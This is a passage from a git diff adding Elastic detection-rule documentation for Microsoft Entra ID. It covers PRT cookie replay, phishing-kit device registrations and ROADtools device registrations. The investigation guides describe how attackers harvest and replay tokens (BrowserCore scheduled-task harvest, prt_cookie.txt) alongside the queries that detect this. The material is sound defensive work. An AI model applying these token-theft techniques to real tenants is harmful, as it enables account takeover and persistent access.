Review `azure.signinlogs.properties.user_principal_name`, `azure.signinlogs.properties.device_detail.device_id`, `azure.signinlogs.properties.device_detail.display_name`, and `source.ip`. Confirm `incoming_token_type` is `primaryRefreshToken` and `device_detail.is_compliant` / `is_managed` are true. +- Compare `azure.signinlogs.properties.app_display_name` and `user_agent.original` with the resource (`resource_display_name`). A cookie POST through WAM can show a Trident/MSIE user agent on the Azure CLI client ID; that is the same IE stack legitimate Windows `az login` uses when it brokers through WAM, so it is triage context, not a detection key. TokenTactics commonly presents as Microsoft Office (that client is omitted here; hunt it separately if harvest is already confirmed). +- Hunt prior Windows Sign-In / `Windows-AzureAD-Authentication-Provider/1.0` events for the same deviceid. If those IPs differ from `source.ip`, treat this as the same story as the ES|QL companion. A Microsoft-owned ASN (including 8075) does not clear the alert. +- Hunt endpoint telemetry for the same user or device display name as `host.name`: InteractiveToken scheduled tasks, `svchost.exe` (Schedule) → `cmd.exe` → `BrowserCore.exe`, or files `formatted_nonce.txt` / `prt_cookie.txt`. +- Review Graph, SharePoint, and mailbox activity after the sign-in for directory, file, or mail enumeration. + + +*False positive analysis* + + +- Developers who run Azure CLI, Graph CLI, or VS Code from a new network while WAM still attaches the workstation deviceid. Exception known Cloud Shell / jump-host IPs after confirming the client actually ran there. +- First use of a tooling client on a new device, or the first time a laptop appears on a new ISP, will fire once per `(device_id, source.ip)` pair and then age out of novelty. +- Hybrid-joined workstations that report both `is_compliant` and `is_managed` as false (no Intune) will not match. Hunt those deviceids separately if harvest is already confirmed. +- Microsoft Teams, Office, OneDrive SyncEngine, Authentication Broker, Outlook Mobile, Bing, Azure Portal, and Office 365 Management are excluded. Do not treat their absence as a miss. + + +*Response and remediation* + + +- Contact the user to confirm whether they ran the first-party client from `source.ip`. +- If unauthorized, revoke refresh tokens and primary refresh tokens for the user. The deviceid on the token is often the *legitimate* workstation — do not delete that device as if it were a ROADtx registration until you confirm otherwise. +- Isolate the workstation, hunt for InteractiveToken scheduled tasks and BrowserCore harvest, and treat the admin identity that registered the task as a second compromised principal. + + +==== Setup + + +The Azure Fleet integration (or Filebeat Azure module) with Microsoft Entra ID sign-in logs is required. Ingest `SignInLogs` and `NonInteractiveUserSignInLogs` into `logs-azure.signinlogs-*`. + +See https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins[Microsoft Entra ID sign-in logs] and the https://docs.elastic.co/integrations/azure[Azure integration]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.signinlogs and + event.outcome: success and + azure.signinlogs.properties.status.error_code: 0 and + azure.signinlogs.properties.incoming_token_type: "primaryRefreshToken" and + azure.signinlogs.properties.device_detail.device_id: * and + source.ip: * and + ( + azure.signinlogs.properties.device_detail.is_compliant: true or + azure.signinlogs.properties.device_detail.is_managed: true + ) and azure.signinlogs.properties.app_id: ( + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "1950a258-227b-4e31-a9cf-717495945fc2" or + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "14d82eec-204b-4c2f-b7e8-296a70dab67e" or + "1b730954-1685-4b74-9bfd-dac224a7b894" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" + ) and azure.signinlogs.properties.resource_id: ( + "00000003-0000-0000-c000-000000000000" or + "00000003-0000-0ff1-ce00-000000000000" or + "6a9b9266-8161-4a7b-913a-a9eda19da220" or + "00000002-0000-0ff1-ce00-000000000000" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-bound-prt-replay-via-first-party-app-from-unusual-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-bound-prt-replay-via-first-party-app-from-unusual-ip.asciidoc new file mode 100644 index 0000000000..4c221de187 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-bound-prt-replay-via-first-party-app-from-unusual-ip.asciidoc @@ -0,0 +1,226 @@ +[[prebuilt-rule-8-19-34-entra-id-device-bound-prt-replay-via-first-party-app-from-unusual-ip]] +=== Entra ID Device-Bound PRT Replay via First-Party App from Unusual IP + +Detects a first-party FOCI tooling client (Azure CLI, PowerShell, VS Code, Graph CLI, Azure AD PowerShell, or Visual Studio) redeeming a device-bound Primary Refresh Token (PRT) for Microsoft Graph, SharePoint/OneDrive, or Exchange Online from an IP that is not among that user and device's Windows Sign-In or WAM addresses. Replay events are limited to compliant or Intune-managed devices: the stolen cookie keeps the workstation deviceid, so compliant-device Conditional Access can succeed off-box. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.armadin.com/blog-posts/prtremote-extract-prt-cookies-remotely-with-interactivetoken-scheduled-task +* https://github.com/armadin-public/PRTremote +* https://github.com/dmcxblue/ANIMO/blob/master/helpers/scripts/GrabTokenAzureAD/PrtExtractor.cs +* https://github.com/rvrsh3ll/TokenTactics +* https://github.com/Gerenios/AADInternals + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Platform: Entra ID +* Tactic: Credential Access +* Tactic: Defense Evasion +* Tactic: Initial Access +* Resources: Investigation Guide +* Rule Type: ES|QL + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Device-Bound PRT Replay via First-Party App from Unusual IP* + + +Adversaries who steal a WAM PRT SSO cookie (BrowserCore / InteractiveToken harvest) redeem it off-box for Microsoft Graph, SharePoint/OneDrive, or Exchange Online using a first-party FOCI client. PRTremote uses Azure CLI (`04b07795-8ddb-461a-bbee-02f9e1bf7b46`); TokenTactics and AADInternals can use Azure AD PowerShell (`1b730954-1685-4b74-9bfd-dac224a7b894`) or Microsoft Office (`d3590ed6-52b3-4102-aeff-aad2292ab01c`) when refreshing a PRT into a Graph, Outlook, or SharePoint token. This rule keys on CLI / PowerShell / VS Code / Visual Studio, not Teams, Office, OneDrive SyncEngine, Authentication Broker, Outlook Mobile, Bing, or Azure Portal — those clients routinely egress on a different IP than Windows Sign-In. Hunt Office-client PRT separately if harvest is already confirmed. The issued access token carries the *workstation* `deviceid`, so Conditional Access policies that require a compliant device can succeed even though the redeeming IP is not the device. Replay events must be `is_compliant` or `is_managed` so the join tracks a stolen enrolled workstation PRT, not an unmanaged ROADtx device. + +This is not ConsentFix / OAuth-code phishing. Those flows show `OAuth2:Authorize` with `Redirect` and often lack a bound compliant device on the Graph token. Do not close this alert by following the first-party OAuth phishing playbook alone. + + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name`, `azure.signinlogs.properties.device_detail.device_id`, and `source.ip`. Confirm `incoming_token_type` on the replay events is `primaryRefreshToken` and `device_detail.is_compliant` / `is_managed` are true. `Esql.resource_display_name_values` should be Microsoft Graph, Office 365 SharePoint Online, OneDrive for Business, and/or Office 365 Exchange Online. +- Treat `Esql.source_ip_device_values` as the workstation (Windows Sign-In / `Windows-AzureAD-Authentication-Provider/1.0`) — the device the PRT was bound to, and the likely theft origin. Treat `source.ip` / `Esql.source_ip_replay_values` as Graph / SharePoint / Exchange PRT IPs that are not in that device-session set (the replay actor). On-box FOCI from the workstation IP is excluded from the replay set. The harvest emulation showed workstation public IP versus attacker SNAT — including Azure ASN 8075, so a Microsoft-owned ASN does not clear the alert. The stolen PRT cookie nonce is typically valid for about five minutes; that is the attacker’s redeem window, not this rule’s lookback. The workstation may have signed in hours earlier, so the query correlates 24 hours of Windows Sign-In / WAM IPs with the replay. +- Inspect `Esql.app_display_name_values` and `Esql.user_agent_original_values`. A cookie POST through WAM can show a Trident/MSIE user agent on the Azure CLI client ID; that is the same IE stack legitimate Windows `az login` uses when it brokers through WAM, so it is triage context, not a detection key. TokenTactics Graph refresh commonly presents as Microsoft Office (omitted here). A follow-on `python-requests/*` Graph token from the same session is tooling, not the first-party binary on the workstation. +- Hunt endpoint telemetry for the same user or `device_detail.display_name` as `host.name`: `svchost.exe` (Schedule) → `cmd.exe` → `BrowserCore.exe` with `<` / `>` redirection, or files `formatted_nonce.txt` / `prt_cookie.txt`. +- Intune audit (`create-clientcertificate`) is enrollment context only; it will not fire on the harvest. Use it as optional join on user OID, not as coverage. +- Review Graph, SharePoint, and mailbox activity after the replay for directory, file, or mail enumeration. + + +*False positive analysis* + + +- Developers who run Azure CLI, Graph CLI, or VS Code from a different egress than Windows Sign-In while WAM still attaches the workstation deviceid. Exception known Cloud Shell / jump-host IPs after confirming the client actually ran there. +- Microsoft Teams, Office, OneDrive SyncEngine, Authentication Broker, Outlook Mobile, Bing, Azure Portal, and Office 365 Management Graph PRT are excluded. Do not treat their absence as a miss; they are omitted because split-tunnel M365 egress is routine. +- First sign-in of a new device can have sparse Windows Sign-In history in the 24-hour window; widen the hunt before responding. +- Hybrid-joined workstations that report both `is_compliant` and `is_managed` as false (no Intune) will not match the replay branch. Hunt those deviceids separately if harvest is already confirmed. + + +*Response and remediation* + + +- Contact the user to confirm whether they ran the first-party client in `Esql.app_display_name_values` from the replay IP. +- If unauthorized, revoke refresh tokens and primary refresh tokens for the user. The deviceid on the token is often the *legitimate* workstation — do not delete that device as if it were a ROADtx registration until you confirm otherwise. +- Isolate the workstation, hunt for InteractiveToken scheduled tasks and BrowserCore harvest, and treat the admin identity that registered the task as a second compromised principal. + + +==== Setup + + +The Azure Fleet integration (or Filebeat Azure module) with Microsoft Entra ID sign-in logs is required. Ingest `SignInLogs` and `NonInteractiveUserSignInLogs` into `logs-azure.signinlogs-*` so Windows Sign-In / WAM device activity and FOCI Graph, SharePoint, and Exchange token issuance are both available for the join. + +See https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins[Microsoft Entra ID sign-in logs] and the https://docs.elastic.co/integrations/azure[Azure integration]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* +// find successful sign-in events where a managed device exists +| where event.dataset == "azure.signinlogs" + and azure.signinlogs.properties.status.error_code == 0 + and azure.signinlogs.properties.device_detail.device_id is not null + +// filter for device sign-in events from Windows Sign-In or WAM (login session) +| eval Esql.is_device_session = azure.signinlogs.properties.app_display_name == "Windows Sign In" + or user_agent.original == "Windows-AzureAD-Authentication-Provider/1.0" + +// filter for tooling FOCI clients that can redeem a PRT (replay) +| eval Esql.is_prt_replay = azure.signinlogs.properties.app_id in ( + "04b07795-8ddb-461a-bbee-02f9e1bf7b46", // Microsoft Azure CLI + "1950a258-227b-4e31-a9cf-717495945fc2", // Microsoft Azure PowerShell + "aebc6443-996d-45c2-90f0-388ff96faa56", // Visual Studio Code + "14d82eec-204b-4c2f-b7e8-296a70dab67e", // Microsoft Graph Command Line Tools + "1b730954-1685-4b74-9bfd-dac224a7b894", // Azure Active Directory PowerShell + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" // Visual Studio + ) + + // target resource are common adversary targets for access + and azure.signinlogs.properties.resource_id in ( + "00000003-0000-0000-c000-000000000000", // Microsoft Graph + "00000003-0000-0ff1-ce00-000000000000", // Office 365 SharePoint Online + "6a9b9266-8161-4a7b-913a-a9eda19da220", // OneDrive for Business + "00000002-0000-0ff1-ce00-000000000000" // Office 365 Exchange Online + ) + and azure.signinlogs.properties.incoming_token_type == "primaryRefreshToken" + and ( + azure.signinlogs.properties.device_detail.is_compliant == true + or azure.signinlogs.properties.device_detail.is_managed == true + ) + +// device session or PRT replay event have to exist +| where Esql.is_device_session or Esql.is_prt_replay + +// aggregate entities for both device session and PRT replay events +// aggregate by user and device +| stats + Esql.source_ip_device_values = values(source.ip) where Esql.is_device_session, + Esql.source_ip_replay_values = values(source.ip) where Esql.is_prt_replay, + Esql.event_count_replay = count(*) where Esql.is_prt_replay, + Esql.event_count_device_session = count(*) where Esql.is_device_session, + Esql.user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.app_display_name_values = values(azure.signinlogs.properties.app_display_name) where Esql.is_prt_replay, + Esql.resource_id_values = values(azure.signinlogs.properties.resource_id) where Esql.is_prt_replay, + Esql.resource_display_name_values = values(azure.signinlogs.properties.resource_display_name) where Esql.is_prt_replay, + Esql.device_display_name_values = values(azure.signinlogs.properties.device_detail.display_name), + Esql.user_agent_original_values = values(user_agent.original) where Esql.is_prt_replay, + Esql.device_is_compliant_values = values(azure.signinlogs.properties.device_detail.is_compliant) where Esql.is_prt_replay, + Esql.device_is_managed_values = values(azure.signinlogs.properties.device_detail.is_managed) where Esql.is_prt_replay, + Esql.authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement) where Esql.is_prt_replay, + Esql.conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status) where Esql.is_prt_replay, + Esql.earliest_timestamp = min(@timestamp), + Esql.latest_timestamp = max(@timestamp) + by azure.signinlogs.properties.user_id, azure.signinlogs.properties.device_detail.device_id + +// filter for PRT replay events that have at least one replay IP +| where Esql.event_count_replay > 0 + and Esql.event_count_device_session > 0 + and Esql.source_ip_replay_values is not null + and Esql.source_ip_device_values is not null + +// expand the replay IP list and keep only IPs that are not in the device-session set +| mv_expand Esql.source_ip_replay_values +| where not mv_contains(Esql.source_ip_device_values, Esql.source_ip_replay_values) +| eval Esql.source_ip_replay = Esql.source_ip_replay_values, + user.id = azure.signinlogs.properties.user_id, + source.ip = Esql.source_ip_replay_values +| keep + user.id, + source.ip, + azure.signinlogs.properties.user_id, + azure.signinlogs.properties.device_detail.device_id, + Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc new file mode 100644 index 0000000000..072ad64e2b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-entra-id-device-registration-with-phishing-kit-default-os-build]] +=== Entra ID Device Registration with Phishing Kit Default OS Build + +Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19045.2006" and the device display name follows the default "DESKTOP-" pattern. This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and it is uncommon for the OS build to match this exact value across an environment of otherwise patched hosts, where a current Windows 10 22H2 device reports a far higher "10.0.19045." value. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ +* https://www.huntress.com/blog/kali365-device-code-phishing-kit +* https://any.run/malware-trends/kali365/ +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://www.ic3.gov/PSA/2026/PSA260521 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Threat: Tycoon2FA +* Threat: Kali365 +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Device Registration with Phishing Kit Default OS Build* + + +AiTM phishing kits including Tycoon2FA and Kali365 register a device in Entra ID with a frozen default cloud device OS build of `10.0.19045.2006` and a default display name of `DESKTOP-`. This build is hardcoded by the tooling and differs from the OS version of legitimate, patched hosts (a current Windows 10 22H2 device reports a much higher `10.0.19045.` value), making the build a useful indicator of kit-driven device registration. Rogue device registration is typically a precursor to Primary Refresh Token (PRT) acquisition, MFA/Conditional Access bypass, and persistent token-based access. + +The matching Entra ID audit event is an `Add device` operation initiated by the `Device Registration Service`, where the modified properties record the registered device characteristics: + +- `azure.auditlogs.properties.target_resources.0.modified_properties.3` (`CloudDeviceOSVersion`) = `10.0.19045.2006` +- `azure.auditlogs.properties.target_resources.0.modified_properties.4` (`CloudDisplayName`) = `DESKTOP-*` + + +*Possible investigation steps* + + +- Confirm the registering identity via `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and determine whether that user is expected to register a new device. +- Review `azure.auditlogs.identity` to confirm the `Device Registration Service` initiated the request, and use `azure.correlation_id` to pivot across the full registration flow (`Add device`, `Add registered users to device`, `Add registered owner to device`). +- Inspect the device name in `azure.auditlogs.properties.target_resources.0.display_name`; kit-registered names are commonly `DESKTOP-` followed by 6 alphanumeric (Tycoon2FA) or 6 hexadecimal (Kali365) characters. +- Inspect the registration user agent on the paired `Register device` event (`azure.auditlogs.properties.userAgent`), which is frequently a spoofed `Dsreg/10.0 (Windows 10.0.19045.2006)` string or a raw HTTP client such as `axios/*` or `python-requests/*`. +- Check whether the same user registered multiple devices in a short window (a single piece of kit infrastructure registering several devices is common for PRT persistence at scale). +- Review `azure.auditlogs.properties.initiated_by.user.ipAddress` and geolocation for the registration source. Flag unexpected IPs, hosting/VPS ASNs (for example Tencent or Alibaba), or impossible-travel relative to the user's normal activity. +- Pivot to `azure.signinlogs` for the same user and timeframe and look for follow-on sign-ins where the incoming token type is a `primaryRefreshToken`, for AiTM sign-ins immediately preceding the registration, or for the broker subsequently minting tokens for other resources such as Microsoft Graph. + + +*False positive analysis* + + +- Unmanaged or never-patched Windows 10 22H2 hosts may legitimately present the `10.0.19045.2006` build with a default `DESKTOP-` hostname. Validate against device inventory and known provisioning programs. +- Authorized security assessments that register devices with this OS profile will match. Document the engagement and add scoped exceptions. + + +*Response and remediation* + + +- If confirmed malicious, remove the registered device from Entra ID and revoke the user's refresh tokens and primary refresh tokens. Remove the device BEFORE revoking sessions, because device-bound PRTs survive `revokeSignInSessions`. +- Disable the account or reset credentials per policy and review for additional persistence (attacker-registered MFA methods, added owners, app registrations, or service principal credentials). +- Conduct historical analysis using `azure.correlation_id` and the registering user to determine scope of access. +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices and require MFA for registration). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.auditlogs" and event.action:"Add device" and + azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value:*10.0.19045.2006* and + azure.auditlogs.properties.target_resources.0.modified_properties.4.new_value:*DESKTOP-* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-registration-with-roadtools-default-os-build.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-registration-with-roadtools-default-os-build.asciidoc new file mode 100644 index 0000000000..8cd804ab12 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-registration-with-roadtools-default-os-build.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-entra-id-device-registration-with-roadtools-default-os-build]] +=== Entra ID Device Registration with ROADtools Default OS Build + +Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19041.928" and the device display name follows the default "DESKTOP-" pattern. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and it is uncommon for the OS build to match the hardcoded value across an environment of otherwise patched hosts. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved provisioning tooling and device naming conventions before relying on it. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/roadtools-cloud-attacks/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Device Registration with ROADtools Default OS Build* + + +ROADtools (roadtx) registers a device in Entra ID with a default cloud device OS build of `10.0.19041.928` and a default +display name of `DESKTOP-<8 random characters>`. This OS build is the current default value roadtx uses and +differs from the OS version of legitimate hosts, making the build a useful indicator of ROADtools device registration. +Rogue device registration is typically a precursor to Primary Refresh Token (PRT) acquisition, MFA/Conditional Access +bypass, and persistent token-based access. + +The matching Entra ID audit event is an `Add device` operation initiated by the `Device Registration Service`, where the +modified properties record the registered device characteristics: + +- `azure.auditlogs.properties.target_resources.0.modified_properties.3` (`CloudDeviceOSVersion`) = `10.0.19041.928` +- `azure.auditlogs.properties.target_resources.0.modified_properties.4` (`CloudDisplayName`) = `DESKTOP-*` + + +*Possible investigation steps* + + +- Confirm the registering identity via `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and determine +whether that user is expected to register a new device. +- Review `azure.auditlogs.identity` to confirm the `Device Registration Service` initiated the request, and use +`azure.correlation_id` to pivot across the full registration flow (`Add device`, `Add registered users to device`, +`Add registered owner to device`). +- Inspect the device name in `azure.auditlogs.properties.target_resources.0.display_name`; default `DESKTOP-` names that +do not match your naming convention are suspicious. +- Pivot to `azure.signinlogs` for the same user and timeframe and look for follow-on sign-ins where the incoming token +type is a `primaryRefreshToken`, or for risky/AiTM sign-ins immediately preceding the registration. +- Review `azure.auditlogs.properties.initiated_by.user.ipAddress` and geolocation for the registration source. Flag +unexpected IPs, hosting/VPS ASNs, or impossible-travel relative to the user's normal activity. +- Correlate with the user-agent-based device registration rules (e.g., `Dsreg/*`, `DeviceRegistrationClient`, +`Microsoft.OData.Client/*`) for the same user or correlation ID to strengthen attribution to ROADtools. + + +*False positive analysis* + + +- Unmanaged or imaged Windows 10 20H1 hosts may legitimately present the `10.0.19041.928` build with a default +`DESKTOP-` hostname. Validate against device inventory and known provisioning programs. +- Authorized security assessments using ROADtools will match. Document the engagement and add scoped exceptions. + + +*Response and remediation* + + +- If confirmed malicious, remove the registered device from Entra ID and revoke the user's refresh tokens and primary +refresh tokens. +- Disable the account or reset credentials per policy and review for additional persistence (added owners, app +registrations, or service principal credentials). +- Conduct historical analysis using `azure.correlation_id` and the registering user to determine scope of access. +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices and +require MFA for registration). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.auditlogs" and event.action:"Add device" and + azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value:*10.0.19041.928* and + azure.auditlogs.properties.target_resources.0.modified_properties.4.new_value:*DESKTOP-* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-with-roadtools-default-os-build-entity-analytics.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-with-roadtools-default-os-build-entity-analytics.asciidoc new file mode 100644 index 0000000000..c9e3fcb4d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-with-roadtools-default-os-build-entity-analytics.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-entra-id-device-with-roadtools-default-os-build-entity-analytics]] +=== Entra ID Device with ROADtools Default OS Build (Entity Analytics) + +Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is `10.0.19041.928`. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and the OS build typically differs from the patched OS versions of legitimate hosts in the environment. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved device builds and naming conventions before relying on it. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-entityanalytics_entra_id.device-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-6h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/roadtools-cloud-attacks/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Entity Analytics +* Use Case: Asset Visibility +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Device with ROADtools Default OS Build (Entity Analytics)* + + +ROADtools (roadtx) registers a device in Entra ID with a default OS build of `10.0.19041.928` and a default name of +`DESKTOP-<8 random characters>`. This OS build is the current default value roadtx uses and differs from +the OS version of legitimate hosts, making the build a useful indicator of ROADtools device registration. This rule runs +against the Entra ID Entity Analytics device inventory and fires the first time a device matching this fingerprint +appears, so an alert generally represents a newly observed rogue device rather than a real-time registration event. +Rogue device registration is typically a precursor to Primary Refresh Token (PRT) acquisition, MFA/Conditional Access +bypass, and persistent token-based access. + + +*Possible investigation steps* + + +- Confirm the device identity via `host.name`, `host.os.version`, `entityanalytics_entra_id.device.display_name`, and +`entityanalytics_entra_id.device.id` (or `device.id`). Default `DESKTOP-` names that do not match your naming 